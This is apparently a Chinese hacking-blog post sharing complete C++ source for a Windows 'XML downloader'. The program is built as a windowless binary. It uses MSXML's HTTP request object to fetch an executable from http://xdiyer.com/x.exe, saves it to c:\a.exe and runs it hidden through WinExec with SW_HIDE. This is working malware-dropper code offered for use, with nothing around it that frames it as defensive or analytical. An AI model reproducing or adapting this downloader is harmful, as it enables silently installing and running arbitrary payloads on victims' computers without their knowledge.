xml下载者VC源码

作者:CoolDiyer
来源:红狼

// xml.cpp : By CoolDiyer 2008/4/9 14:03 
//
#pragma comment(linker, "/subsystem:windows /FILEALIGN:0x200 /opt:nowin98")

#include <windows.h>
#include <atlbase.h>
#import "msxml.dll"
bool URLDownloadToFile(LPCTSTR szURL, LPCTSTR szFileName)
{
	MSXML::IXMLHttpRequestPtr xmlHttp = NULL;
	HRESULT	hr;
	BSTR	bstrstring = NULL;
	hr = xmlHttp.CreateInstance("msxml2.xmlhttp");
	if (!SUCCEEDED(hr))	return false;
	hr = xmlHttp->open("GET", szURL, false);
	if (!SUCCEEDED(hr))	return false;
	hr = xmlHttp->send();
	if (!SUCCEEDED(hr))	return false;
	xmlHttp->get_responseText(&bstrstring);
	if (!SUCCEEDED(hr))	return false;

	VARIANT	vValue;
	xmlHttp->get_responseStream(&vValue);

	IStream	*pIStream = NULL;
	STATSTG	StatStg;
	pIStream = (IStream*)vValue.punkVal;  //取得流对象指针
	pIStream->Stat(&StatStg, NULL);
	ULONG nSize = ULONG(StatStg.cbSize.QuadPart);  //取得文件的长度

	HANDLE	hFile  = CreateFile(szFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

	BYTE	lpBuffer[1024];
	DWORD	dwBytesWritten = 0;
	ULONG	uLen;
	while (nSize > 0)
	{
		pIStream->Read(lpBuffer, min(nSize,1024), &uLen); //防止文件过大
		WriteFile(hFile, lpBuffer, uLen, &dwBytesWritten, NULL);
		nSize -= uLen;
	}
	CloseHandle(hFile);
	if (pIStream)
	{
		pIStream->Release();
		pIStream = NULL;
	}
	return true;
}

int WINAPI WinMain(
				   HINSTANCE hInstance,      // handle to current instance
				   HINSTANCE hPrevInstance,  // handle to previous instance
				   LPSTR lpCmdLine,          // command line
				   int nCmdShow              // show state
)
{
	CoInitialize(NULL);
	char	*lpszFile = "c:\\a.exe";
	URLDownloadToFile("http://xdiyer.com/x.exe", lpszFile);
	WinExec(lpszFile, SW_HIDE);
	CoUninitialize();
	return 0;
}

相关日志

抢楼还有机会... 抢座Rss 2.0或者 Trackback

发表评论